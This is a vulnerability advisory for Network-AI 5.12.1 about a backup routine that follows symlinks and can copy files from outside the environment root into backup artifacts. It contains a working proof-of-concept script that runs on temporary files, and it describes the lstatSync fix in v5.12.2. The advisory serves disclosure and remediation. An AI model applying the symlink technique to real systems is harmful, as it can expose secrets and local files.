EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.
An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.
backup() collects file paths and copies them into the backup directory:
const files = this._collectBackupFiles(envDir);
for (const rel of files) {
const src = join(envDir, rel);
const dst = join(backupPath, rel);
mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}
_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():
const info = statSync(full);
if (info.isDirectory()) {
walk(full, rel);
} else {
results.push(rel);
}
Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.
Affected source evidence:
lib/env-manager.ts:435-460 — backup copy logic.lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().bin/cli.ts:413-420 — default CLI exposes backup creation.lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');
fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');
const mgr = new EnvironmentManager(data, {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');
const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');
console.log(JSON.stringify({
copied: fs.existsSync(copied),
content: fs.readFileSync(copied, 'utf8'),
}, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
Observed result: copied is true and content is secret-through-symlink.
An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.
Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.
_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
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CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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